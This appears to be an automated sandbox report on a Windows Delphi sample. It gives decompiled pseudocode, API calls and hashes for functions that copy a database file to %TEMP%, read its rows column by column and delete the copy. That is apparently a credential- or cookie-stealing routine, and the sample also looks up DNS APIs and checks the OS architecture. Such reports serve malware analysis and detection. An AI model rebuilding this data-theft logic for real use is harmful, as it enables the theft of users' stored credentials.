				 *[fs:eax] = _t179;
				E0040709C(GetTickCount(), __ebx,  &_v48, __esi, _t183);
				_push(_v48);
				E00406FDC( &_v52, __ebx, __edi, __esi, _t183);
				_push(_v52);
				_push(L".tmp");
				E00403E78();
				E004078D8(_v8, _t144,  &_v40, _t183);
				E004062FC(L"%TEMP%",  &_v60, _t183);
				_push(_v60);
				_push(E004112B8);
				_push(_v32);
				E00403E78();
				E004078D8(_v56, _t144,  &_v44, _t183);
				_t72 = E00403D98(_v44);
				CopyFileW(E00403D98(_v40), _t72, 0xffffffff);
				E0040377C( &_v64, _v44);
				E00404B58(_v64, _t144, _t145,  &_v36, _t176, _t183);
				E00403D88( &_v68, _v36);
				if(E0040776C(_v68, _t144, _t145) != 0) {
					_t87 =  *0x41b140; // 0x41ca20
					_t89 =  *((intOrPtr*)( *_t87))(E00403990(_v36),  &_v16);
					_t180 = _t179 + 8;
					__eflags = _t89;
					if(_t89 == 0) {
						_t119 =  *0x41b330; // 0x41c930
						_t123 =  *0x41b2d4; // 0x41ca28
						_t125 =  *((intOrPtr*)( *_t123))(_v16, E00403990( *_t119), 0xffffffff,  &_v20,  &_v24);
						_t181 = _t180 + 0x14;
						__eflags = _t125;
						if(_t125 == 0) {
							while(1) {
								_t127 =  *0x41b384; // 0x41ca2c
								_t129 =  *((intOrPtr*)( *_t127))(_v20);
								__eflags = _t129 - 0x64;
								if(_t129 != 0x64) {
									goto L9;
								}
								_t131 =  *0x41b1dc; // 0x41ca30
								E00403CF4( &_v72,  *((intOrPtr*)( *_t131))(_v20, 0, _v28));
								_t137 =  *0x41b1dc; // 0x41ca30
								_t139 =  *((intOrPtr*)( *_t137))(_v20, 1, E004112C0, _v72);
								_t181 = _t181 + 0x10;
								E00403CF4( &_v76, _t139);
								_push(_v76);
								_push(E004112C8);
								E00403E78();
							}
						}
					}
					L9:
					_t91 =  *0x41b46c; // 0x41ca38
					 *((intOrPtr*)( *_t91))(_v20);
					_t95 =  *0x41b20c; // 0x41ca24
					 *((intOrPtr*)( *_t95))(_v16);
					_pop(_t165);
					 *[fs:eax] = _t165;
					E00403C18(_v12, _v28);
					DeleteFileW(E00403D98(_v44));
				} else {
					_pop(_t174);
					 *[fs:eax] = _t174;
				}
				_pop(_t167);
				 *[fs:eax] = _t167;
				_push(E00411289);
				E00403BF4( &_v76, 3);
				E004034E4( &_v64);
				E00403BF4( &_v60, 6);
				E004034E4( &_v36);
				E00403BF4( &_v32, 2);
				return E00403BDC( &_v8);
			}

0x00411034
0x00411034
0x00411035
0x00411037
0x0041103c
0x0041103c
0x0041103e
0x00411040
0x00411040
0x00411040
0x00411043
0x00411044
0x00411045
0x00411046
0x00411049
0x0041104f
0x00411056
0x00411057
0x0041105c
0x0041105f
0x00411065
0x0041106c
0x0041106d
0x00411072
0x00411075
0x00411080
0x00411085
0x0041108b
0x00411090
0x00411093
0x004110a0
0x004110ab
0x004110b8
0x004110bd
0x004110c0
0x004110c5
0x004110d0
0x004110db
0x004110e5
0x004110f4
0x004110ff
0x0041110a
0x00411115
0x00411124
0x00411140
0x00411147
0x00411149
0x0041114c
0x0041114e
0x0041115e
0x0041116f
0x00411176
0x00411178
0x0041117b
0x0041117d
0x004111d9
0x004111dd
0x004111e4
0x004111e7
0x004111ea
0x00000000
0x00000000
0x0041118a
0x0041119b
0x004111ae
0x004111b5
0x004111b7
0x004111bf
0x004111c4
0x004111c7
0x004111d4
0x004111d4
0x004111d9
0x0041117d
0x004111ec
0x004111f0
0x004111f7
0x004111fe
0x00411205
0x0041120a
0x0041120d
0x00411222
0x00411230
0x00411126
0x00411128
0x0041112b
0x0041112b
0x00411237
0x0041123a
0x0041123d
0x0041124a
0x00411252
0x0041125f
0x00411267
0x00411274
0x00411281

APIs

GetTickCount.KERNEL32 ref: 00411078
CopyFileW.KERNEL32(00000000,00000000,000000FF,?,004112B8,?,.tmp,?,?,00000000,00411212,?,00000000,00411282,?,00000000), ref: 004110F4
DeleteFileW.KERNEL32(00000000), ref: 00411230

Strings

%TEMP%, xrefs: 004110B3
.tmp, xrefs: 00411093

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$CopyCountDeleteTick
String ID: %TEMP%$.tmp
API String ID: 2381671008-3650661790
Opcode ID: 577b90d7f24cd0fb58febb8daef041d5e439a0dea1ca99fdd0a66268eb77198e
Instruction ID: b158b585ad64a0e2cffbc60e29a794732e4ff4356334f001507f487ecad874f7
Opcode Fuzzy Hash: 577b90d7f24cd0fb58febb8daef041d5e439a0dea1ca99fdd0a66268eb77198e
Instruction Fuzzy Hash: E4611975A00109AFDB00EB95DC82ADEBBF8EF49314F504076F514F32A1DA38AE458B58

Uniqueness

Uniqueness Score: -1.00%

Function 00417574, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 61
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E00417574(intOrPtr* __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v117;
				void* _t16;
				intOrPtr* _t37;
				intOrPtr _t41;
				intOrPtr* _t46;
				void* _t49;

				_t16 = __eax +  *__eax;
				 *_t16 =  *_t16 + _t16;
				 *[cs:eax] =  *[cs:eax] + _t16;
				_v117 = _v117 + __edx;
				_v12 = __edx;
				_v8 = _t16;
				_t5 =  &_v8; // 0x41777a
				E00403980( *_t5);
				_push(_t49);
				_push(0x41761e);
				_push( *[fs:eax]);
				 *[fs:eax] = _t49 + 0xfffffff4;
				_t46 = GetProcAddress(LoadLibraryA("dnsapi.dll"), "DnsQuery_A");
				if(_t46 != 0) {
					_v16 = 0;
					_t37 = E00402530(0x30);
					_v16 = E00402530(0x48);
					 *_t37 = 1;
					 *((intOrPtr*)(_t37 + 4)) = _v12;
					_push(0);
					_push( &_v16);
					_push(_t37);
					_push(0);
					_push(1);
					_t11 =  &_v8; // 0x41777a
					_push(E00403990( *_t11));
					if( *_t46() == 0) {
					}
				}
				_pop(_t41);
				 *[fs:eax] = _t41;
				_push(E00417625);
				_t14 =  &_v8; // 0x41777a
				return E004034E4(_t14);
			}

0x00417574
0x00417576
0x00417578
0x0041757b
0x00417585
0x00417588
0x0041758b
0x0041758e
0x00417595
0x00417596
0x0041759b
0x0041759e
0x004175b8
0x004175bc
0x004175c0
0x004175cd
0x004175d9
0x004175dc
0x004175e5
0x004175e8
0x004175ed
0x004175ee
0x004175ef
0x004175f1
0x004175f3
0x004175fb
0x00417600
0x00417600
0x00417600
0x0041760a
0x0041760d
0x00417610
0x00417615
0x0041761d

APIs

LoadLibraryA.KERNEL32(dnsapi.dll,DnsQuery_A,00000000,0041761E,?,00000000,00000011,00000000), ref: 004175AD
GetProcAddress.KERNEL32(00000000,dnsapi.dll), ref: 004175B3

Strings

DnsQuery_A, xrefs: 004175A3
dnsapi.dll, xrefs: 004175A8
zwA, xrefs: 0041758B, 00417615, 004175F3

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: DnsQuery_A$dnsapi.dll$zwA
API String ID: 2574300362-2265345817
Opcode ID: 90aa67c559d7172eef75bb1bdf1ef1801d4fe53f505304547775e4f5ded8e41e
Instruction ID: a7d4bf9b2760dea35b02269f2c10af10878945f0623a8129c970236146844d6a
Opcode Fuzzy Hash: 90aa67c559d7172eef75bb1bdf1ef1801d4fe53f505304547775e4f5ded8e41e
Instruction Fuzzy Hash: C2119070904604AED711DBA9CD52B9EBBF8DF49714F5140B7F804E72D2D6789E018B58

Uniqueness

Uniqueness Score: -1.00%

Function 00417578, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 59
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E00417578(char __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v117;
				intOrPtr* _t36;
				intOrPtr _t40;
				intOrPtr* _t45;
				void* _t48;

				 *[cs:eax] =  *[cs:eax] + __eax;
				_v117 = _v117 + __edx;
				_v12 = __edx;
				_v8 = __eax;
				_t5 =  &_v8; // 0x41777a
				E00403980( *_t5);
				_push(_t48);
				_push(0x41761e);
				_push( *[fs:eax]);
				 *[fs:eax] = _t48 + 0xfffffff4;
				_t45 = GetProcAddress(LoadLibraryA("dnsapi.dll"), "DnsQuery_A");
				if(_t45 != 0) {
					_v16 = 0;
					_t36 = E00402530(0x30);
					_v16 = E00402530(0x48);
					 *_t36 = 1;
					 *((intOrPtr*)(_t36 + 4)) = _v12;
					_push(0);
					_push( &_v16);
					_push(_t36);
					_push(0);
					_push(1);
					_t11 =  &_v8; // 0x41777a
					_push(E00403990( *_t11));
					if( *_t45() == 0) {
					}
				}
				_pop(_t40);
				 *[fs:eax] = _t40;
				_push(E00417625);
				_t14 =  &_v8; // 0x41777a
				return E004034E4(_t14);
			}

0x00417578
0x0041757b
0x00417585
0x00417588
0x0041758b
0x0041758e
0x00417595
0x00417596
0x0041759b
0x0041759e
0x004175b8
0x004175bc
0x004175c0
0x004175cd
0x004175d9
0x004175dc
0x004175e5
0x004175e8
0x004175ed
0x004175ee
0x004175ef
0x004175f1
0x004175f3
0x004175fb
0x00417600
0x00417600
0x00417600
0x0041760a
0x0041760d
0x00417610
0x00417615
0x0041761d

APIs

LoadLibraryA.KERNEL32(dnsapi.dll,DnsQuery_A,00000000,0041761E,?,00000000,00000011,00000000), ref: 004175AD
GetProcAddress.KERNEL32(00000000,dnsapi.dll), ref: 004175B3

Strings

DnsQuery_A, xrefs: 004175A3
dnsapi.dll, xrefs: 004175A8
zwA, xrefs: 0041758B, 00417615, 004175F3

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: DnsQuery_A$dnsapi.dll$zwA
API String ID: 2574300362-2265345817
Opcode ID: 95138ad01cba8e5e83e6b9acd9d2ed769d3a92c54609d83c0de276e89a7aecd3
Instruction ID: ea46895599b20c27feb42da0d668784e66eeb00bbfd17c159799839ff483915a
Opcode Fuzzy Hash: 95138ad01cba8e5e83e6b9acd9d2ed769d3a92c54609d83c0de276e89a7aecd3
Instruction Fuzzy Hash: 7111C470904604BED711DFA9CD42B8EBBF8DB45714F5140B7F804E72C1D6789E008B58

Uniqueness

Uniqueness Score: -1.00%

Function 0041757C, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 58
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 35%

			E0041757C(char __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr* _t34;
				intOrPtr _t38;
				intOrPtr* _t43;
				void* _t46;

				_v12 = __edx;
				_v8 = __eax;
				_t3 =  &_v8; // 0x41777a
				E00403980( *_t3);
				_push(_t46);
				_push(0x41761e);
				_push( *[fs:eax]);
				 *[fs:eax] = _t46 + 0xfffffff4;
				_t43 = GetProcAddress(LoadLibraryA("dnsapi.dll"), "DnsQuery_A");
				if(_t43 != 0) {
					_v16 = 0;
					_t34 = E00402530(0x30);
					_v16 = E00402530(0x48);
					 *_t34 = 1;
					 *((intOrPtr*)(_t34 + 4)) = _v12;
					_push(0);
					_push( &_v16);
					_push(_t34);
					_push(0);
					_push(1);
					_t9 =  &_v8; // 0x41777a
					_push(E00403990( *_t9));
					if( *_t43() == 0) {
					}
				}
				_pop(_t38);
				 *[fs:eax] = _t38;
				_push(E00417625);
				_t12 =  &_v8; // 0x41777a
				return E004034E4(_t12);
			}

0x00417585
0x00417588
0x0041758b
0x0041758e
0x00417595
0x00417596
0x0041759b
0x0041759e
0x004175b8
0x004175bc
0x004175c0
0x004175cd
0x004175d9
0x004175dc
0x004175e5
0x004175e8
0x004175ed
0x004175ee
0x004175ef
0x004175f1
0x004175f3
0x004175fb
0x00417600
0x00417600
0x00417600
0x0041760a
0x0041760d
0x00417610
0x00417615
0x0041761d

APIs

LoadLibraryA.KERNEL32(dnsapi.dll,DnsQuery_A,00000000,0041761E,?,00000000,00000011,00000000), ref: 004175AD
GetProcAddress.KERNEL32(00000000,dnsapi.dll), ref: 004175B3

Strings

DnsQuery_A, xrefs: 004175A3
dnsapi.dll, xrefs: 004175A8
zwA, xrefs: 0041758B, 00417615, 004175F3

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: DnsQuery_A$dnsapi.dll$zwA
API String ID: 2574300362-2265345817
Opcode ID: 49f7f161d2a083aa30c62a6ef839c6451eb3f4c5f7006791b1443b4c6644effa
Instruction ID: e3f94ad17905d3749a36cc042419755c400cae35a044259d7baf032426d6234e
Opcode Fuzzy Hash: 49f7f161d2a083aa30c62a6ef839c6451eb3f4c5f7006791b1443b4c6644effa
Instruction Fuzzy Hash: D01151B1A14608AED711DFAACD42B9EBBF8EB48714F514076F804E72C1E6789E008B58

Uniqueness

Uniqueness Score: -1.00%

Function 00402AC4, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49
registryCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E00402AC4() {
				void* _v8;
				char _v12;
				int _v16;
				signed short _t12;
				signed short _t14;
				intOrPtr _t27;
				void* _t29;
				void* _t31;
				intOrPtr _t32;

				_t29 = _t31;
				_t32 = _t31 + 0xfffffff4;
				_v12 =  *0x41b018 & 0x0000ffff;
				if(RegOpenKeyExA(0x80000002, "SOFTWARE\\Borland\\Delphi\\RTL", 0, 1,  &_v8) != 0) {
					_t12 =  *0x41b018; // 0x1332
					_t14 = _t12 & 0x0000ffc0 | _v12 & 0x0000003f;
					 *0x41b018 = _t14;
					return _t14;
				} else {
					_push(_t29);
					_push(E00402B35);
					_push( *[fs:eax]);
					 *[fs:eax] = _t32;
					_v16 = 4;
					RegQueryValueExA(_v8, "FPUMaskValue", 0, 0,  &_v12,  &_v16);
					_pop(_t27);
					 *[fs:eax] = _t27;
					_push(0x402b3c);
					return RegCloseKey(_v8);
				}
			}

0x00402ac5
0x00402ac7
0x00402ad1
0x00402aed
0x00402b3c
0x00402b4e
0x00402b51
0x00402b5a
0x00402aef
0x00402af1
0x00402af2
0x00402af7
0x00402afa
0x00402afd
0x00402b19
0x00402b20
0x00402b23
0x00402b26
0x00402b34
0x00402b34

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00402AE6
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,00402B35,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00402B19
RegCloseKey.ADVAPI32(?,00402B3C,00000000,?,00000004,00000000,00402B35,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00402B2F

Strings

FPUMaskValue, xrefs: 00402B10
SOFTWARE\Borland\Delphi\RTL, xrefs: 00402ADC

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3677997916-4173385793
Opcode ID: c24f3397a1a0978606a1aef1272915d0389f866a146333db21e610f4ec5f9f7b
Instruction ID: 9172d05214030136d6eeabac91fa7c92d03713ed8c8260d1a9efe939ba63eb8f
Opcode Fuzzy Hash: c24f3397a1a0978606a1aef1272915d0389f866a146333db21e610f4ec5f9f7b
Instruction Fuzzy Hash: 04019275500308B9DB21AF908D46FAA7BB8D708700F600076BA04F66D0E7B8AA10979C

Uniqueness

Uniqueness Score: -1.00%

Function 00406678, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 32
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 33%

			E00406678(void* __ecx) {
				signed char _t3;
				signed char _t7;
				intOrPtr* _t8;
				signed char* _t11;

				_t8 = GetProcAddress(GetModuleHandleA("kernel32.dll"), "IsWow64Process");
				_t3 = 0;
				 *_t11 = 0;
				if(_t8 != 0) {
					_push(_t11);
					_push(GetCurrentProcess());
					if( *_t8() == 0 ||  *_t11 == 0) {
						_t7 = 0;
					} else {
						_t7 = 1;
					}
					_t3 =  ~_t7;
					asm("sbb eax, eax");
					 *_t11 = _t3;
				}
				asm("sbb eax, eax");
				return _t3 + 1;
			}

0x0040668f
0x00406691
0x00406693
0x00406698
0x0040669a
0x004066a0
0x004066a5
0x004066ad
0x004066b1
0x004066b1
0x004066b1
0x004066b3
0x004066b5
0x004066b7
0x004066b7
0x004066be
0x004066c3

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,IsWow64Process,?,?,004066F8,?,00416A2C,00000000,00416CF0,?,Windows : ,?,,?,EXE_PATH : ,?), ref: 00406684
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 0040668A
GetCurrentProcess.KERNEL32(?,00000000,kernel32.dll,IsWow64Process,?,?,004066F8,?,00416A2C,00000000,00416CF0,?,Windows : ,?,,?), ref: 0040669B

Strings

kernel32.dll, xrefs: 0040667F
IsWow64Process, xrefs: 0040667A

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressCurrentHandleModuleProcProcess
String ID: IsWow64Process$kernel32.dll
API String ID: 4190356694-3024904723
Opcode ID: e1b52431ba51a17f73fa2707c1d3f9594f1716fb178e982d40455343ef0f00aa
Instruction ID: e294de711800d21e639c3a9fa9d3456d397d027599023024eec292f5251465af
Opcode Fuzzy Hash: e1b52431ba51a17f73fa2707c1d3f9594f1716fb178e982d40455343ef0f00aa
Instruction Fuzzy Hash: 1FE09BB16147019EDB007BB58C41B3B21CCAB65305F031C3EA082F12C0D97EC8908A6D

Uniqueness

Uniqueness Score: -1.00%

Function 004112B8, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 117
fileCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E004112B8(signed int __eax, void* __ebx, intOrPtr* __ecx, intOrPtr __edx, void* __edi, void* __esi) {
				signed int _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				intOrPtr _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				intOrPtr _v117;
				signed int _t66;
				signed int _t67;
				WCHAR* _t87;
				intOrPtr* _t102;
				intOrPtr _t104;
				intOrPtr* _t106;
				intOrPtr* _t110;
				intOrPtr* _t138;
				intOrPtr* _t142;
				intOrPtr _t144;
				intOrPtr* _t146;
				void* _t148;
				intOrPtr* _t150;
				intOrPtr* _t154;
				void* _t156;
				intOrPtr* _t161;
				intOrPtr* _t167;
				intOrPtr* _t173;
				void* _t175;
				intOrPtr* _t179;
				void* _t183;
				intOrPtr _t204;
				intOrPtr _t206;
				void* _t211;
				intOrPtr _t217;
				intOrPtr _t221;
				intOrPtr _t222;
				void* _t223;
				void* _t224;

				_t219 = __esi;
				_t181 = __ebx;
				_pop(_t222);
				 *__eax =  *__eax + __eax;
				 *((intOrPtr*)(__edx)) =  *((intOrPtr*)(__edx)) + __eax;
				 *__eax =  *__eax + __eax;
				 *__ecx =  *__ecx + __ecx;
				 *__eax =  *__eax | __eax;
				 *__eax =  *__eax + __eax;
				_t66 = __eax;
				 *_t66 =  *_t66 + _t66;
				_t67 = _t66 | 0x00000a00;
				 *_t67 =  *_t67 + _t67;
				_v117 = _v117 + __edx;
				_t221 = _t222;
				_t183 = 0xa;
				do {
					_push(0);
					_push(0);
					_t183 = _t183 - 1;
					_t232 = _t183;
				} while (_t183 != 0);
				_push(_t183);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v12 = __edx;
				_v8 = _t67;
				E00404150( &_v8);
				_push(_t221);
				_push(0x4115ab);
				_push( *[fs:eax]);
				 *[fs:eax] = _t222;
				E00403BDC( &_v28);
				_push(_t221);
				_push(0x411526);
				_push( *[fs:eax]);
				 *[fs:eax] = _t222;
				E0040709C(GetTickCount(), __ebx,  &_v52, __esi, _t232);
				_push(_v52);
				E00406FDC( &_v56, __ebx, __edi, __esi, _t232);
				_push(_v56);
				_push(L".tmp");
				E00403E78();
				E004078D8(_v8, _t181,  &_v40, _t232);
				E004062FC(L"%TEMP%",  &_v64, _t232);
				_push(_v64);
				_push(0x4115e4);
				_push(_v32);
				E00403E78();
				E004078D8(_v60, _t181,  &_v44, _t232);
				_t87 = E00403D98(_v44);
				CopyFileW(E00403D98(_v40), _t87, 0xffffffff);
				E0040377C( &_v68, _v44);
				E00404B58(_v68, _t181, _t183,  &_v36, _t219, _t232);
				E00403D88( &_v72, _v36);
				if(E0040776C(_v72, _t181, _t183) != 0) {
					_t102 =  *0x41b140; // 0x41ca20
					_t104 =  *((intOrPtr*)( *_t102))(E00403990(_v36),  &_v16);
					_t223 = _t222 + 8;
					__eflags = _t104;
					if(_t104 == 0) {
						_t138 =  *0x41b390; // 0x41c934
						_t142 =  *0x41b2d4; // 0x41ca28
						_t144 =  *((intOrPtr*)( *_t142))(_v16, E00403990( *_t138), 0xffffffff,  &_v20,  &_v24);
						_t224 = _t223 + 0x14;
						__eflags = _t144;
						if(_t144 == 0) {
							while(1) {
								_t146 =  *0x41b384; // 0x41ca2c
								_t148 =  *((intOrPtr*)( *_t146))(_v20);
								__eflags = _t148 - 0x64;
								if(_t148 != 0x64) {
									goto L12;
								}
								_t150 =  *0x41b414; // 0x41ca34
								_t154 =  *0x41b1dc; // 0x41ca30
								_t156 =  *((intOrPtr*)( *_t154))(_v20, 3,  *((intOrPtr*)( *_t150))(_v20, 3));
								_pop(_t211);
								E0040A610(_t156,  &_v48, _t211);
								E00403D88( &_v76, _v48);
								_t161 =  *0x41b1dc; // 0x41ca30
								E00403CF4( &_v80,  *((intOrPtr*)( *_t161))(_v20, 0, 0x4115ec, _v76, _v28));
								_t167 =  *0x41b1dc; // 0x41ca30
								E00403CF4( &_v84,  *((intOrPtr*)( *_t167))(_v20, 1, 0x4115ec, _v80));
								_t173 =  *0x41b1dc; // 0x41ca30
								_t175 =  *((intOrPtr*)( *_t173))(_v20, 2, 0x4115f8, _v84);
								_t224 = _t224 + 0x28;
								E00403CF4( &_v88, _t175);
								_push(_v88);
								_push(L"\r\n\r\n");
								E00403E78();
								_t179 =  *0x41b1cc; // 0x41b0b4
								 *_t179 =  *_t179 + 1;
								__eflags =  *_t179;
							}
						}
					}
					L12:
					_t106 =  *0x41b46c; // 0x41ca38
					 *((intOrPtr*)( *_t106))(_v20);
					_t110 =  *0x41b20c; // 0x41ca24
					 *((intOrPtr*)( *_t110))(_v16);
					_pop(_t204);
					 *[fs:eax] = _t204;
					E00403C18(_v12, _v28);
					DeleteFileW(E00403D98(_v44));
				} else {
					_pop(_t217);
					 *[fs:eax] = _t217;
				}
				_pop(_t206);
				 *[fs:eax] = _t206;
				_push(E004115B2);
				E00403BF4( &_v88, 5);
				E004034E4( &_v68);
				E00403BF4( &_v64, 4);
				E004034E4( &_v48);
				E00403BF4( &_v44, 2);
				E004034E4( &_v36);
				E00403BF4( &_v32, 2);
				return E00403BDC( &_v8);
			}

0x004112b8
0x004112b8
0x004112b8
0x004112b9
0x004112bb
0x004112bd
0x004112bf
0x004112c0
0x004112c2
0x004112c4
0x004112c6
0x004112c8
0x004112cd
0x004112cf
0x004112d1
0x004112d3
0x004112d8
0x004112d8
0x004112da
0x004112dc
0x004112dc
0x004112dc
0x004112df
0x004112e0
0x004112e1
0x004112e2
0x004112e3
0x004112e6
0x004112ec
0x004112f3
0x004112f4
0x004112f9
0x004112fc
0x00411302
0x00411309
0x0041130a
0x0041130f
0x00411312
0x0041131d
0x00411322
0x00411328
0x0041132d
0x00411330
0x0041133d
0x00411348
0x00411355
0x0041135a
0x0041135d
0x00411362
0x0041136d
0x00411378
0x00411382
0x00411391
0x0041139c
0x004113a7
0x004113b2
0x004113c1
0x004113dd
0x004113e4
0x004113e6
0x004113e9
0x004113eb
0x004113fb
0x0041140c
0x00411413
0x00411415
0x00411418
0x0041141a
0x004114e9
0x004114ed
0x004114f4
0x004114f7
0x004114fa
0x00000000
0x00000000
0x0041142b
0x0041143e
0x00411445
0x0041144d
0x0041144e
0x0041145c
0x0041146f
0x00411480
0x00411493
0x004114a4
0x004114b7
0x004114be
0x004114c0
0x004114c8
0x004114cd
0x004114d0
0x004114dd
0x004114e2
0x004114e7
0x004114e7
0x004114e7
0x004114e9
0x0041141a
0x00411500
0x00411504
0x0041150b
0x00411512
0x00411519
0x0041151e
0x00411521
0x00411536
0x00411544
0x004113c3
0x004113c5
0x004113c8
0x004113c8
0x0041154b
0x0041154e
0x00411551
0x0041155e
0x00411566
0x00411573
0x0041157b
0x00411588
0x00411590
0x0041159d
0x004115aa

APIs

GetTickCount.KERNEL32 ref: 00411315
CopyFileW.KERNEL32(00000000,00000000,000000FF,?,004115E4,?,.tmp,?,?,00000000,00411526,?,00000000,004115AB,?,00000000), ref: 00411391

Strings

.tmp, xrefs: 00411330
%TEMP%, xrefs: 00411350

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CopyCountFileTick
String ID: %TEMP%$.tmp
API String ID: 3448371392-3650661790
Opcode ID: 2d5d7d5c0cd455ac35e8538cbdb34896a68ba153585d133ff5677ccfd955861b
Instruction ID: 1a8257de2d60cbb0d3980c7fc3a6a2139cbe43d2aa84506a9aa105e6b37338cb
Opcode Fuzzy Hash: 2d5d7d5c0cd455ac35e8538cbdb34896a68ba153585d133ff5677ccfd955861b
Instruction Fuzzy Hash: 1B414231904248AFDB01FFA2D852ACDBBB9EF45309F51447BF500B76A2D63CAE058B25

Uniqueness

Uniqueness Score: -1.00%

Function 004112C0, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 113
fileCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E004112C0(signed int __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				signed int _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				intOrPtr _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				intOrPtr _v117;
				signed int _t66;
				signed int _t67;
				WCHAR* _t87;
				intOrPtr* _t102;
				intOrPtr _t104;
				intOrPtr* _t106;
				intOrPtr* _t110;
				intOrPtr* _t138;
				intOrPtr* _t142;
				intOrPtr _t144;
				intOrPtr* _t146;
				void* _t148;
				intOrPtr* _t150;
				intOrPtr* _t154;
				void* _t156;
				intOrPtr* _t161;
				intOrPtr* _t167;
				intOrPtr* _t173;
				void* _t175;
				intOrPtr* _t179;
				void* _t182;
				intOrPtr _t203;
				intOrPtr _t205;
				void* _t210;
				intOrPtr _t216;
				intOrPtr _t220;
				intOrPtr _t221;
				void* _t222;
				void* _t223;

				_t218 = __esi;
				_t181 = __ebx;
				 *__eax =  *__eax | __eax;
				 *__eax =  *__eax + __eax;
				_t66 = __eax;
				 *_t66 =  *_t66 + _t66;
				_t67 = _t66 | 0x00000a00;
				 *_t67 =  *_t67 + _t67;
				_v117 = _v117 + __edx;
				_t220 = _t221;
				_t182 = 0xa;
				do {
					_push(0);
					_push(0);
					_t182 = _t182 - 1;
					_t230 = _t182;
				} while (_t182 != 0);
				_push(_t182);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v12 = __edx;
				_v8 = _t67;
				E00404150( &_v8);
				_push(_t220);
				_push(0x4115ab);
				_push( *[fs:eax]);
				 *[fs:eax] = _t221;
				E00403BDC( &_v28);
				_push(_t220);
				_push(0x411526);
				_push( *[fs:eax]);
				 *[fs:eax] = _t221;
				E0040709C(GetTickCount(), __ebx,  &_v52, __esi, _t230);
				_push(_v52);
				E00406FDC( &_v56, __ebx, __edi, __esi, _t230);
				_push(_v56);
				_push(L".tmp");
				E00403E78();
				E004078D8(_v8, _t181,  &_v40, _t230);
				E004062FC(L"%TEMP%",  &_v64, _t230);
				_push(_v64);
				_push(0x4115e4);
				_push(_v32);
				E00403E78();
				E004078D8(_v60, _t181,  &_v44, _t230);
				_t87 = E00403D98(_v44);
				CopyFileW(E00403D98(_v40), _t87, 0xffffffff);
				E0040377C( &_v68, _v44);
				E00404B58(_v68, _t181, _t182,  &_v36, _t218, _t230);
				E00403D88( &_v72, _v36);
				if(E0040776C(_v72, _t181, _t182) != 0) {
					_t102 =  *0x41b140; // 0x41ca20
					_t104 =  *((intOrPtr*)( *_t102))(E00403990(_v36),  &_v16);
					_t222 = _t221 + 8;
					__eflags = _t104;
					if(_t104 == 0) {
						_t138 =  *0x41b390; // 0x41c934
						_t142 =  *0x41b2d4; // 0x41ca28
						_t144 =  *((intOrPtr*)( *_t142))(_v16, E00403990( *_t138), 0xffffffff,  &_v20,  &_v24);
						_t223 = _t222 + 0x14;
						__eflags = _t144;
						if(_t144 == 0) {
							while(1) {
								_t146 =  *0x41b384; // 0x41ca2c
								_t148 =  *((intOrPtr*)( *_t146))(_v20);
								__eflags = _t148 - 0x64;
								if(_t148 != 0x64) {
									goto L11;
								}
								_t150 =  *0x41b414; // 0x41ca34
